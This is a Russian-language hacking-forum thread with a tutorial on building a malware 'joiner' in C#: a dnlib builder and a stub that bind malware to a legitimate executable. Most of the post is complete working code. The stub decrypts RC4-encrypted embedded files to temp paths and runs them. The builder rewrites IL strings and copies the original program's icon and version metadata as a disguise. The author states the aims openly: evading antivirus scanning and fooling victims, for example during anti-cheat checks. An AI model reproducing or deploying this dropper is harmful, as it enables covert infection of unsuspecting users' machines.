Загрузка...

Делаем билдер на dnlib и стаб для джойнера (клея, ****пера)

Тема в разделе C# создана пользователем Dead__Artis 30 апр 2024. 494 просмотра

Загрузка...
  1. Dead__Artis
    Dead__Artis Автор темы 30 апр 2024 921 30 май 2020
    Фри крипт: https://lolz.live/threads/7133100/

    Хаю хай :anime_hi:
    с вами дед и сегодня я вам расскажу как используя библиотеку dnlib можно сделать свой джойнер файлов
    сделаем не в особо качественном виде, только лишь для обучения и ознакомления с библиотекой dnlib
    так же будут подключены стороние библиотеки выполняющие иной функционал который будет понятен даже ящерице

    и так для начала разберем что такое джойнер и что за библиотека dnlib

    это библиотека которая образно говоря декомпилирует файл в IL код

    а если серьезно с помощью данной библиотеки можно творить ВСЁ связанное с обфой протекций файлов и с любым другим редактированием скомпилированных проектов написанных на языках .Net
    оу оу оу ты правда незнаешь ? omg
    это программа созданная для склейки других программ в одну

    а быть точней склейки нашей малвари с адекватной программой
    теперь приступим

    создаем проект с формами и в него устанавливаем/добавляем библиотеки через nuget (в visual studio в проекте кликаем пкм на "ссылки" выбираем управление пакетами nuget после кликаем обзор и пишем в поиск следующие библиотеки и устанавливаем

    • dnlib
    • IconExtractor
    • Vestris.ResourceLib
    последние две библиотеки будут нам служить как редактором Assembly (свойствами файла, иконка и информация описание и тп)

    создаем на форме три кнопки и кликаем по каждой два раза чтобы создать отзыв на событие Click в функциях

    первая кнопка будет отвечать за выбор оригинального файла для склейки с которого мы так же стырим иконку и описание
    вторая для малвари, ну или для моего скримера с прошлой темы))))))

    третья для создания "Билда" и сохранения его по определенному пути

    так с формой разобрались теперь делаем Стаб
    создаем в нашем решений еще один проект (консольный) и выбираем одну из версий Netframework (4, 4.5, 4.6.2)
    почему именно они ?

    потому что не все из версий Netframework установлены в windows так же не все которые можно выбрать я перечислил

    теперь займемся стабом
    нам необходимо добавить шифрование для того чтобы скантайм не ебАл нам мозг
    ну и в принципе все

    возьмем шифрование с моей прошлой темы про "крипт за 5 рублей"
    RC4 (но я обычно называю xor мне так привычней)

    добавим в наш класс Program данный метод

    CSHARP
    public static byte[] DecodEncod(byte[] data, byte[] key)
    {
    int[] numArray1 = new int[256];
    for (int index = 0; index < 256; ++index)
    numArray1[index] = index;
    int[] dst = new int[256];
    if (key.Length == 256)
    {
    Buffer.BlockCopy((Array)key, 0, (Array)dst, 0, key.Length);
    }
    else
    {
    for (int index = 0; index < 256; ++index)
    dst[index] = (int)key[index % key.Length];
    }
    int index1 = 0;
    for (int index2 = 0; index2 < 256; ++index2)
    {
    index1 = (index1 + numArray1[index2] + dst[index2]) % 256;
    int num = numArray1[index2];
    numArray1[index2] = numArray1[index1];
    numArray1[index1] = num;
    }
    int index3;
    int index4 = index3 = 0;
    byte[] numArray2 = new byte[data.Length];
    for (int index5 = 0; index5 < data.Length; ++index5)
    {
    index4 = (index4 + 1) % 256;
    index3 = (index3 + numArray1[index4]) % 256;
    int num1 = numArray1[index4];
    numArray1[index4] = numArray1[index3];
    numArray1[index3] = num1;
    int num2 = numArray1[(numArray1[index4] + numArray1[index3]) % 256];
    numArray2[index5] = Convert.ToByte((int)data[index5] ^ num2);
    }
    return numArray2;
    }
    так же нам нужен метод чтобы по названию файлов мы могли вытащить их из ресурсов (будем добавлять файлики именно туда)
    добавим данный метод так же в наш класс Program
    CSHARP
    public static byte[] GetResourceFile(string name)
    {
    using (var rs = Assembly.GetExecutingAssembly().GetManifestResourceStream(name))
    {
    if (rs == null)
    return null;
    using (var ms = new MemoryStream())
    {
    rs.CopyTo(ms);
    return ms.ToArray();
    }
    }
    }
    нам необходимо добавить 3 стринговых статично публичнЫх переменных в наш класс Program

    CSHARP
    public static string Key = "%Key%";
    public static string FileName1 = "%FileName1%";
    public static string FileName2 = "%FileName2%";
    данные переменные будут выступать в данном случае как ПерЕменные как не странно звучит
    мы их значение будем менять в нашем билдере

    теперь приступим к объединению этих набор букв в код для реальных мужчин которые пишут на шарпе
    CSHARP
    static void Main(string[] args)
    {
    DrOP(FileName1);
    DrOP(FileName2);
    }
    public static void DrOP(string name)
    {
    string path = Path.GetTempFileName() + ".exe";
    File.WriteAllBytes(path, DecodEncod(GetResourceFile(name), Encoding.ASCII.GetBytes(Key)));
    Process.Start(path);
    }
    функция **** отвечает за дешифровку файла на диск и последующий его запуск

    теперь скомпилируем наш Stub и закинем его в ресурсы нашего джойнера



    теперь вернемся к нашему билдеру и перейдем в код формы и при нажатий на первую кнопку будет выбираться наш оригинальный файл под который мы будем косить при проверке читера с сервера на читы
    и на вторую так же
    CSHARP
    public static string originalFile = string.Empty;
    public static string malwareFile = string.Empty;
    private void button1_Click(object sender, EventArgs e)
    {
    using (OpenFileDialog openFileDialog = new OpenFileDialog())
    {
    openFileDialog.Filter = "Original file (*.exe)|*.exe";
    if (openFileDialog.ShowDialog() != DialogResult.OK)
    return;
    originalFile = openFileDialog.FileName;
    }
    }

    private void button2_Click(object sender, EventArgs e)
    {
    using (OpenFileDialog openFileDialog = new OpenFileDialog())
    {
    openFileDialog.Filter = "Malware file (*.exe)|*.exe";
    if (openFileDialog.ShowDialog() != DialogResult.OK)
    return;
    malwareFile = openFileDialog.FileName;
    }
    }
    да хуйня решение знаю спасибо, но не забываем что пишу облегченную версию для понимая ноВоКеков в разработке малвари на шарпах

    теперь приступим к билдеру, так же добавим наш метод с шифрованием выше в нашу форму
    и так же класс инжектора иконок

    кликаем два раза на нашу кнопку для билда и делаем уже магию

    в итоге выйдет такой фулл код
    код формы
    CSHARP
    using dnlib.DotNet;
    using dnlib.DotNet.Emit;
    using System;
    using System.Collections.Generic;
    using System.Diagnostics;
    using System.IO;
    using System.Linq;
    using System.Runtime.InteropServices;
    using System.Security;
    using System.Text;
    using System.Windows.Forms;
    using Toolbelt.Drawing;
    using Vestris.ResourceLib;

    namespace JoinerBulider
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    }

    public static string originalFile = string.Empty;
    public static string malwareFile = string.Empty;
    private void button1_Click(object sender, EventArgs e)
    {
    using (OpenFileDialog openFileDialog = new OpenFileDialog())
    {
    openFileDialog.Filter = "Original file (*.exe)|*.exe";
    if (openFileDialog.ShowDialog() != DialogResult.OK)
    return;
    originalFile = openFileDialog.FileName;
    }
    }

    private void button2_Click(object sender, EventArgs e)
    {
    using (OpenFileDialog openFileDialog = new OpenFileDialog())
    {
    openFileDialog.Filter = "Malware file (*.exe)|*.exe";
    if (openFileDialog.ShowDialog() != DialogResult.OK)
    return;
    malwareFile = openFileDialog.FileName;
    }
    }

    private void button3_Click(object sender, EventArgs e)
    {
    using (SaveFileDialog saveFileDialog = new SaveFileDialog())
    {
    saveFileDialog.Filter = "Joiner save (*.exe)|*.exe";
    if (saveFileDialog.ShowDialog() != DialogResult.OK)
    return;
    using (ModuleDefMD moduleDefMd = ModuleDefMD.Load(Properties.Resources.Stub))
    {
    //тут мы считайте открыли файл как в dnSpy
    string key = new Random().Next(100000).ToString(); //мне лень писать метод для генераций рандомных стрингов, тебе надо ты пиши)
    string Filename1 = new Random().Next(100000).ToString();
    string Filename2 = new Random().Next(1000000).ToString();

    //добавим в ресурсы stub наше дермицо)
    moduleDefMd.Resources.Add(new EmbeddedResource(Filename1, DecodEncod(File.ReadAllBytes(originalFile), Encoding.ASCII.GetBytes(key))));
    moduleDefMd.Resources.Add(new EmbeddedResource(Filename2, DecodEncod(File.ReadAllBytes(malwareFile), Encoding.ASCII.GetBytes(key))));

    foreach (TypeDef type in (IEnumerable<TypeDef>)moduleDefMd.Types) //тут мы перебираем типы для вас проще классы в нашем Stub
    {
    foreach (MethodDef method in (IEnumerable<MethodDef>)type.Methods) //дальше методы
    {
    if (method.Body == null) //тут мы проверяем есть ли вообще код в методе
    continue;
    for (int index = 0; index < method.Body.Instructions.Count(); ++index)
    {
    if (method.Body.Instructions[index].OpCode != OpCodes.Ldstr) //дальше листаем наши IL инструкции и если они не равны OpCodes.Ldstr (string) мы пропускаем
    continue;
    //если это string то проверяем на наши значения и при необходимости заменяем их
    if (method.Body.Instructions[index].Operand as string == "%Key%")
    method.Body.Instructions[index].Operand = key;
    if (method.Body.Instructions[index].Operand as string == "%FileName1%")
    method.Body.Instructions[index].Operand = Filename1;
    if (method.Body.Instructions[index].Operand as string == "%FileName2%")
    method.Body.Instructions[index].Operand = Filename2;
    }
    }
    }
    //все наш стаб стал неполноценым билдом но рабочим
    //теперь сохраняем его и пиздим с ориг файла иконку если она есть и информацию о файле
    moduleDefMd.Write(saveFileDialog.FileName);

    //описание файла
    WriteAssembly(originalFile, saveFileDialog.FileName);

    //иконка
    try
    {
    string path1 = Path.GetTempFileName() + ".ico";
    using (FileStream fileStream = new FileStream(path1, FileMode.Create))
    IconExtractor.Extract1stIconTo(originalFile, (Stream)fileStream);

    IconInjector.InjectIcon(saveFileDialog.FileName, path1);
    }
    catch { }
    }
    }
    }
    private void WriteAssembly(string filename, string filenameto)
    {
    try
    {
    FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(filename);
    VersionResource versionResource = new VersionResource();
    versionResource.LoadFrom(filenameto);
    versionResource.FileVersion = versionInfo.FileVersion;
    versionResource.ProductVersion = versionInfo.ProductVersion;
    versionResource.Language = (ushort)0;
    StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
    stringFileInfo["ProductName"] = versionInfo.ProductName ?? string.Empty;
    stringFileInfo["FileDescription"] = versionInfo.FileDescription ?? string.Empty;
    stringFileInfo["CompanyName"] = versionInfo.CompanyName ?? string.Empty;
    stringFileInfo["LegalCopyright"] = versionInfo.LegalCopyright ?? string.Empty;
    stringFileInfo["LegalTrademarks"] = versionInfo.LegalTrademarks ?? string.Empty;
    stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
    stringFileInfo["InternalName"] = versionInfo.InternalName ?? string.Empty;
    stringFileInfo["OriginalFilename"] = versionInfo.InternalName ?? string.Empty;
    stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
    stringFileInfo["FileVersion"] = versionResource.FileVersion;
    versionResource.SaveTo(filenameto);
    }
    catch
    {
    }
    }
    public static byte[] DecodEncod(byte[] data, byte[] key)
    {
    int[] numArray1 = new int[256];
    for (int index = 0; index < 256; ++index)
    numArray1[index] = index;
    int[] dst = new int[256];
    if (key.Length == 256)
    {
    Buffer.BlockCopy((Array)key, 0, (Array)dst, 0, key.Length);
    }
    else
    {
    for (int index = 0; index < 256; ++index)
    dst[index] = (int)key[index % key.Length];
    }
    int index1 = 0;
    for (int index2 = 0; index2 < 256; ++index2)
    {
    index1 = (index1 + numArray1[index2] + dst[index2]) % 256;
    int num = numArray1[index2];
    numArray1[index2] = numArray1[index1];
    numArray1[index1] = num;
    }
    int index3;
    int index4 = index3 = 0;
    byte[] numArray2 = new byte[data.Length];
    for (int index5 = 0; index5 < data.Length; ++index5)
    {
    index4 = (index4 + 1) % 256;
    index3 = (index3 + numArray1[index4]) % 256;
    int num1 = numArray1[index4];
    numArray1[index4] = numArray1[index3];
    numArray1[index3] = num1;
    int num2 = numArray1[(numArray1[index4] + numArray1[index3]) % 256];
    numArray2[index5] = Convert.ToByte((int)data[index5] ^ num2);
    }
    return numArray2;
    }
    }
    public static class IconInjector
    {
    public static void InjectIcon(string exeFileName, string iconFileName) => IconInjector.InjectIcon(exeFileName, iconFileName, 1U, 1U);

    public static void InjectIcon(
    string exeFileName,
    string iconFileName,
    uint iconGroupID,
    uint iconBaseID)
    {
    IconInjector.IconFile iconFile = IconInjector.IconFile.FromFile(iconFileName);
    IntPtr hUpdate = IconInjector.NativeMethods.BeginUpdateResource(exeFileName, false);
    byte[] iconGroupData = iconFile.CreateIconGroupData(iconBaseID);
    IconInjector.NativeMethods.UpdateResource(hUpdate, new IntPtr(14L), new IntPtr((long)iconGroupID), (short)0, iconGroupData, iconGroupData.Length);
    for (int index = 0; index <= iconFile.ImageCount - 1; ++index)
    {
    byte[] data = iconFile.ImageData(index);
    IconInjector.NativeMethods.UpdateResource(hUpdate, new IntPtr(3L), new IntPtr((long)iconBaseID + (long)index), (short)0, data, data.Length);
    }
    IconInjector.NativeMethods.EndUpdateResource(hUpdate, false);
    }

    [SuppressUnmanagedCodeSecurity]
    private class NativeMethods
    {
    [DllImport("kernel32")]
    public static extern IntPtr BeginUpdateResource(
    string fileName,
    [MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources);

    [DllImport("kernel32")]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool UpdateResource(
    IntPtr hUpdate,
    IntPtr type,
    IntPtr name,
    short language,
    [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data,
    int dataSize);

    [DllImport("kernel32")]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard);
    }

    private struct ICONDIR
    {
    public ushort Reserved;
    public ushort Type;
    public ushort Count;
    }

    private struct ICONDIRENTRY
    {
    public byte Width;
    public byte Height;
    public byte ColorCount;
    public byte Reserved;
    public ushort Planes;
    public ushort BitCount;
    public int BytesInRes;
    public int ImageOffset;
    }

    private struct BITMAPINFOHEADER
    {
    public uint Size;
    public int Width;
    public int Height;
    public ushort Planes;
    public ushort BitCount;
    public uint Compression;
    public uint SizeImage;
    public int XPelsPerMeter;
    public int YPelsPerMeter;
    public uint ClrUsed;
    public uint ClrImportant;
    }

    [StructLayout(LayoutKind.Sequential, Pack = 2)]
    private struct GRPICONDIRENTRY
    {
    public byte Width;
    public byte Height;
    public byte ColorCount;
    public byte Reserved;
    public ushort Planes;
    public ushort BitCount;
    public int BytesInRes;
    public ushort ID;
    }

    private class IconFile
    {
    private IconInjector.ICONDIR iconDir;
    private IconInjector.ICONDIRENTRY[] iconEntry;
    private byte[][] iconImage;

    public int ImageCount => (int)this.iconDir.Count;

    public byte[] ImageData(int index) => this.iconImage[index];

    public static IconInjector.IconFile FromFile(string filename)
    {
    IconInjector.IconFile iconFile = new IconInjector.IconFile();
    byte[] src = File.ReadAllBytes(filename);
    GCHandle gcHandle = GCHandle.Alloc((object)src, GCHandleType.Pinned);
    iconFile.iconDir = (IconInjector.ICONDIR)Marshal.PtrToStructure(gcHandle.AddrOfPinnedObject(), typeof(IconInjector.ICONDIR));
    iconFile.iconEntry = new IconInjector.ICONDIRENTRY[(int)iconFile.iconDir.Count];
    iconFile.iconImage = new byte[(int)iconFile.iconDir.Count][];
    int num1 = Marshal.SizeOf<IconInjector.ICONDIR>(iconFile.iconDir);
    Type type = typeof(IconInjector.ICONDIRENTRY);
    int num2 = Marshal.SizeOf(type);
    for (int index = 0; index <= (int)iconFile.iconDir.Count - 1; ++index)
    {
    IconInjector.ICONDIRENTRY structure = (IconInjector.ICONDIRENTRY)Marshal.PtrToStructure(new IntPtr(gcHandle.AddrOfPinnedObject().ToInt64() + (long)num1), type);
    iconFile.iconEntry[index] = structure;
    iconFile.iconImage[index] = new byte[structure.BytesInRes];
    Buffer.BlockCopy((Array)src, structure.ImageOffset, (Array)iconFile.iconImage[index], 0, structure.BytesInRes);
    num1 += num2;
    }
    gcHandle.Free();
    return iconFile;
    }

    public byte[] CreateIconGroupData(uint iconBaseID)
    {
    byte[] iconGroupData = new byte[Marshal.SizeOf(typeof(IconInjector.ICONDIR)) + Marshal.SizeOf(typeof(IconInjector.GRPICONDIRENTRY)) * this.ImageCount];
    GCHandle gcHandle1 = GCHandle.Alloc((object)iconGroupData, GCHandleType.Pinned);
    Marshal.StructureToPtr<IconInjector.ICONDIR>(this.iconDir, gcHandle1.AddrOfPinnedObject(), false);
    int num = Marshal.SizeOf<IconInjector.ICONDIR>(this.iconDir);
    for (int index = 0; index <= this.ImageCount - 1; ++index)
    {
    IconInjector.GRPICONDIRENTRY structure = new IconInjector.GRPICONDIRENTRY();
    IconInjector.BITMAPINFOHEADER bitmapinfoheader = new IconInjector.BITMAPINFOHEADER();
    GCHandle gcHandle2 = GCHandle.Alloc((object)bitmapinfoheader, GCHandleType.Pinned);
    Marshal.Copy(this.ImageData(index), 0, gcHandle2.AddrOfPinnedObject(), Marshal.SizeOf(typeof(IconInjector.BITMAPINFOHEADER)));
    gcHandle2.Free();
    structure.Width = this.iconEntry[index].Width;
    structure.Height = this.iconEntry[index].Height;
    structure.ColorCount = this.iconEntry[index].ColorCount;
    structure.Reserved = this.iconEntry[index].Reserved;
    structure.Planes = bitmapinfoheader.Planes;
    structure.BitCount = bitmapinfoheader.BitCount;
    structure.BytesInRes = this.iconEntry[index].BytesInRes;
    structure.ID = Convert.ToUInt16((long)iconBaseID + (long)index);
    Marshal.StructureToPtr<IconInjector.GRPICONDIRENTRY>(structure, new IntPtr(gcHandle1.AddrOfPinnedObject().ToInt64() + (long)num), false);
    num += Marshal.SizeOf(typeof(IconInjector.GRPICONDIRENTRY));
    }
    gcHandle1.Free();
    return iconGroupData;
    }
    }
    }
    }
    код нашего стаба
    CSHARP
    using System;
    using System.Diagnostics;
    using System.IO;
    using System.Reflection;
    using System.Text;

    namespace Stub
    {
    internal class Program
    {
    public static string Key = "%Key%";
    public static string FileName1 = "%FileName1%";
    public static string FileName2 = "%FileName2%";
    static void Main(string[] args)
    {
    DrOP(FileName1);
    DrOP(FileName2);
    }
    public static void DrOP(string name)
    {
    string path = Path.GetTempFileName() + ".exe";
    File.WriteAllBytes(path, DecodEncod(GetResourceFile(name), Encoding.ASCII.GetBytes(Key)));
    Process.Start(path);
    }
    public static byte[] GetResourceFile(string name)
    {
    using (var rs = Assembly.GetExecutingAssembly().GetManifestResourceStream(name))
    {
    if (rs == null)
    return null;
    using (var ms = new MemoryStream())
    {
    rs.CopyTo(ms);
    return ms.ToArray();
    }
    }
    }
    public static byte[] DecodEncod(byte[] data, byte[] key)
    {
    int[] numArray1 = new int[256];
    for (int index = 0; index < 256; ++index)
    numArray1[index] = index;
    int[] dst = new int[256];
    if (key.Length == 256)
    {
    Buffer.BlockCopy((Array)key, 0, (Array)dst, 0, key.Length);
    }
    else
    {
    for (int index = 0; index < 256; ++index)
    dst[index] = (int)key[index % key.Length];
    }
    int index1 = 0;
    for (int index2 = 0; index2 < 256; ++index2)
    {
    index1 = (index1 + numArray1[index2] + dst[index2]) % 256;
    int num = numArray1[index2];
    numArray1[index2] = numArray1[index1];
    numArray1[index1] = num;
    }
    int index3;
    int index4 = index3 = 0;
    byte[] numArray2 = new byte[data.Length];
    for (int index5 = 0; index5 < data.Length; ++index5)
    {
    index4 = (index4 + 1) % 256;
    index3 = (index3 + numArray1[index4]) % 256;
    int num1 = numArray1[index4];
    numArray1[index4] = numArray1[index3];
    numArray1[index3] = num1;
    int num2 = numArray1[(numArray1[index4] + numArray1[index3]) % 256];
    numArray2[index5] = Convert.ToByte((int)data[index5] ^ num2);
    }
    return numArray2;
    }
    }
    }
    не забывайте сделать Stub в свойствах приложением за место консольного приложения

    надеюсь для новичков данный код был информативным
    теперь вы сможете создавать свои билдеры для своих малварь проектов
    #моястатья
     
    30 апр 2024 Изменено
  2. vinted
    vinted 30 апр 2024 $$$ 6911 5 окт 2020
    я конечно не прочитал, но уверен, что тут что-то годное написано, так что +rep
     
  3. сомния
    сомния 22 май 2024 11:11 означает смену эпох и зарождение нового мира 1573 4 апр 2022
    dnlib и xor уже баян - но молодец что расписал)
     
    1. Dead__Artis Автор темы
      сомния, согласен но dnlib для меня как основа есть еще аналоги ?
      слышал про mono cecill
    2. сомния
      Dead__Artis, скажу так - dnlib на данный момент самое нормальное решение
Top